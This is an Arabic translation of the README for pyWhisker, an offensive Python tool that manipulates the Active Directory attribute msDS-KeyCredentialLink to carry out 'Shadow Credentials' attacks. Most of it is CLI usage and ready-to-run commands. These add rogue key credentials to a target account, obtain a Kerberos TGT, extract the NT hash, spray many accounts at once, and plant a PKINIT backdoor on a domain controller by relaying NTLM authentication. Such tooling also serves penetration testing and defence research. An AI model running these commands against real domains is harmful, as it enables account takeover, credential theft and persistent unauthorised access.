
نسخة بايثون من أداة C# لهجمات "Shadow Credentials"
pyWhisker هو معادل بلغة بايثون للأداة الأصلية Whisker التي صنعها Elad Shamir والمكتوبة بلغة C#. تسمح هذه الأداة للمستخدمين بالتلاعب بخاصية msDS-KeyCredentialLink لمستخدم/كمبيوتر هدف للحصول على سيطرة كاملة على ذلك الكائن.
تعتمد على Impacket وعلى معادل بلغة بايثون لـ DSInternals الخاص بـ Michael Grafnetter يُسمى PyDSInternals من صنع podalirius.
هذه الأداة، إلى جانب PKINITtools الخاصة بـ Dirk-jan، تسمح باستغلال أولي كامل على الأنظمة المبنية على يونكس فقط.
المتطلبات الأساسية لهذا الهجوم هي كما يلي:
msDs-KeyCredentialLink لحساب المستخدم أو الكمبيوتر الهدف.لماذا بعض المتطلبات؟
AS_REQ <-> AS_REP.سيتم رفع KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP إذا لم يتم استيفاء المتطلب رقم 3.
مزيد من المعلومات حول هذه الأولية "Shadow Credentials":
يمكن استخدام pyWhisker لتنفيذ إجراءات متنوعة على خاصية msDs-KeyCredentialLink لهدف:
msDs-KeyCredentialLinkmsDs-KeyCredentialLinkmsDs-KeyCredentialLinkmsDs-KeyCredentialLinkmsDs-KeyCredentialLink بتنسيق JSONmsDs-KeyCredentialLink بـ KeyCredentials من ملف JSONيدعم pyWhisker طرق المصادقة التالية:
من بين أشياء أخرى، يدعم pyWhisker مستويات متعددة من الإسهاب، فقط ألحق -v، -vv، ... إلى الأمر :)
يمكن لـ pyWhisker أيضًا العمل عبر النطاقات، انظر الوسيطة -td/--target-domain.
usage: pywhisker [-h] (-t TARGET_SAMNAME | -tl TARGET_SAMNAME_LIST) [-a [{list,add,spray,remove,clear,info,export,import}]] [--use-ldaps] [--use-schannel] [-v] [-q]
[--dc-ip ip address] [-d DOMAIN] [-u USER] [-crt CERTFILE] [-key KEYFILE] [-td TARGET_DOMAIN] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key]
[-k] [-P PFX_PASSWORD] [-f FILENAME] [-e {PEM,PFX}] [-D DEVICE_ID]
Python (re)setter for property msDS-KeyCredentialLink for Shadow Credentials attacks.
وسائط اختيارية:
-h, --help إظهار رسالة المساعدة هذه والخروج
-t TARGET_SAMNAME, --target TARGET_SAMNAME
الحساب الهدف
-tl TARGET_SAMNAME_LIST, --target-list TARGET_SAMNAME_LIST
مسار إلى ملف يحتوي على أسماء الحسابات الهدف (واحد لكل سطر)
-a [{list,add,spray,remove,clear,info,export,import}], --action [{list,add,spray,remove,clear,info,export,import}]
الإجراء الذي سيتم تنفيذه على msDS-KeyCredentialLink
--use-ldaps استخدام LDAPS بدلاً من LDAP
--use-schannel استخدام LDAP Schannel (TLS) للمصادقة المستندة إلى الشهادة
-v, --verbose مستوى الإسهاب (-v للإسهاب، -vv للتصحيح)
-q, --quiet عدم عرض أي معلومات على الإطلاق
المصادقة والاتصال:
--dc-ip ip address عنوان IP لوحدة تحكم النطاق أو KDC لـ Kerberos. إذا تم حذفه، فسيتم استخدام جزء النطاق (FQDN) المحدد في معرّف الهوية
-d DOMAIN, --domain DOMAIN
النطاق (FQDN) للمصادقة عليه
-u USER, --user USER المستخدم للمصادقة به
-crt, --certfile CERTFILE
مسار إلى شهادة المستخدم (تنسيق PEM) لمصادقة Schannel
-key, --keyfile KEYFILE
مسار إلى المفتاح الخاص للمستخدم (تنسيق PEM) لمصادقة Schannel
-td TARGET_DOMAIN, --target-domain TARGET_DOMAIN
النطاق الهدف (إذا كان مختلفًا عن نطاق المستخدم المصادق)
--no-pass لا تطلب كلمة مرور (مفيد لـ -k)
-p PASSWORD, --password PASSWORD
كلمة المرور للمصادقة بها
-H [LMHASH:]NTHASH, --hashes [LMHASH:]NTHASH
تجزئات NT/LM، التنسيق هو LMhash:NThash
--aes-key hex key مفتاح AES لاستخدامه في مصادقة Kerberos (128 أو 256 بت)
-k, --kerberos استخدام مصادقة Kerberos. يحصل على بيانات الاعتماد من ملف .ccache (KRB5CCNAME) بناءً على معلمات الهدف. إذا تعذر العثور على بيانات اعتماد صالحة، فسيستخدم تلك المحددة في سطر الأوامر
الوسائط عند تعيين الإجراء إلى add:
-P PFX_PASSWORD, --pfx-password PFX_PASSWORD
كلمة مرور لشهادة PFX الموقعة ذاتيًا المخزنة (ستكون عشوائية إذا لم يتم تعيينها، غير مطلوبة عند التصدير إلى PEM)
-f FILENAME, --filename FILENAME
اسم الملف لتخزين شهادة ومفتاح PEM أو PFX الموقع ذاتيًا المُنشأ، أو اسم الملف لإجراءات "import"/"export"
-e {PEM,PFX}, --export {PEM,PFX}
اختر تصدير الشهادة + المفتاح الخاص بتنسيق PEM أو PFX (أي #PKCS12) (الافتراضي: PFX))
الوسائط عند تعيين الإجراء إلى remove:
-D DEVICE_ID, --device-id DEVICE_ID
معرف الجهاز لـ KeyCredentialLink المراد إزالته عند تعيين الإجراء إلى remove
فيما يلي أمثلة ولقطات شاشة لما يمكن أن يفعله pyWhisker.
لدى pyWhisker القدرة على عرض KeyCredentials الموجودة. بالإضافة إلى ذلك، يمكنه توسيع الهيكل بأكمله لعرض كل جزء من المعلومات التي يحتوي عليها هذا الكائن (بما في ذلك معلمات المفتاح العام RSA).
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "info" --device-id 6419739b-ff90-f5c7-0737-1331daeb7db6

لدى pyWhisker القدرة على إزالة قيم محددة أو مسح الخاصية بالكامل.
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id a8ce856e-9b58-61f9-8fd3-b079689eb46e

python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "clear"

لدى pyWhisker القدرة على إنشاء مفاتيح RSA، وشهادة X509، وهيكل KeyCredential، وكتابة المعلومات الضرورية كقيم جديدة لخاصية msDs-KeyCredentialLink. يمكن تصدير الشهادة بتنسيق PFX (#PKCS12، الشهادة + المفتاح الخاص محمية بكلمة مرور) أو بتنسيق PEM (شهادة PEM، مفتاح خاص PEM، بدون حاجة لكلمة مرور).
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename test1

بمجرد إنشاء القيم وإضافتها بواسطة pyWhisker، يمكن طلب TGT باستخدام gettgtpkinit.py. يمكن بعد ذلك استعادة تجزئة NT باستخدام getnthash.py.
python3 PKINITtools/gettgtpkinit.py -cert-pfx test1.pfx -pfx-pass xl6RyLBLqdhBlCTHJF3R domain.local/user2 user2.ccache
python3 PKINITtools/getnthash.py -key f4d6738897808edd3868fa8c60f147366c41016df623de048d600d4e2f156aa9 domain.local/user2

python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename test2 --export PEM

بمجرد إنشاء القيم وإضافتها بواسطة pyWhisker، يمكن طلب TGT باستخدام gettgtpkinit.py. يمكن بعد ذلك استعادة تجزئة NT باستخدام getnthash.py.
python3 PKINITtools/gettgtpkinit.py -cert-pem test2_cert.pem -key-pem test2_priv.pem domain.local/user2 user2.ccache
python3 PKINITtools/getnthash.py -key 894fde81fb7cf87963e4bda9e9e288536a0508a1553f15fdf24731731cecad16 domain.local/user2

يمكن لـ pyWhisker ربط عمليات إضافة KeyCredentials متعددة لمجموعة من الأهداف، أي الرش (إذا كانت بيانات الاعتماد المستخدمة تملك الصلاحيات المناسبة).
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target-list targetlist.txt --action "spray"
يمكن تحليل KeyCredentials المخزنة في خاصية msDs-KeyCredentialLink وهيكلتها وحفظها كـ JSON.

يمكن بعد ذلك استخدام ملف JSON المُصدر لاستعادة خاصية msDs-KeyCredentialLink في الحالة التي كانت عليها وقت التصدير.

تم دمج طلب سحب في ntlmrelayx لتضمين ميزة "الإضافة" من pyWhisker.

لا يمكن لكائنات المستخدمين تعديل خاصية msDS-KeyCredentialLink الخاصة بهم. ومع ذلك، يمكن لكائنات الكمبيوتر القيام بذلك. هذا يعني أن السيناريو التالي قد ينجح: تحفيز مصادقة NTLM من DC01، ترحيلها إلى DC02، وجعل pyWhisker يعدل خاصية DC01 لإنشاء باب خلفي لمصادقة Kerberos PKINIT المسبقة عليه.

يمكن لكائنات الكمبيوتر تعديل خاصية msDS-KeyCredentialLink الخاصة بها ولكن يمكنها فقط إضافة KeyCredential في حالة عدم وجود أي منها بالفعل.

إذا واجهت أخطاء، فتأكد من عدم وجود فرق زمني بين جهاز المهاجم ومركز توزيع المفاتيح (عادةً وحدة تحكم النطاق). لتجنب هذا الخطأ، تكون الشهادات التي تم إنشاؤها بواسطة أداة pyWhisker صالحة لمدة 40 عامًا قبل التاريخ الحالي و40 عامًا بعده.
الشكر لـ Dirk-jan على عمله في PKINITtools. لقد خططنا في البداية لإعادة هيكلة نصوص Impacket (خاصة gettgt.py) لتنفيذ مصادقة PKINIT غير المتماثلة المسبقة لـ Kerberos. لقد أنقذنا من الكثير من المتاعب بكتابتها قبلنا!
الشكر للفريق بأكمله وراء Impacket والمساهمين فيه.
الشكر لـ Elad Shamir الذي أنشأ الأداة الأصلية بلغة C# (Whisker) ولـ Michael Grafnetter الذي صنع DSInternals، وهي مكتبة تقوم بمعظم العمل الشاق لـ Whisker. كما كان هو من قدم العرض التوضيحي الأصلي في Black Hat الذي يعرض الأولية الهجومية.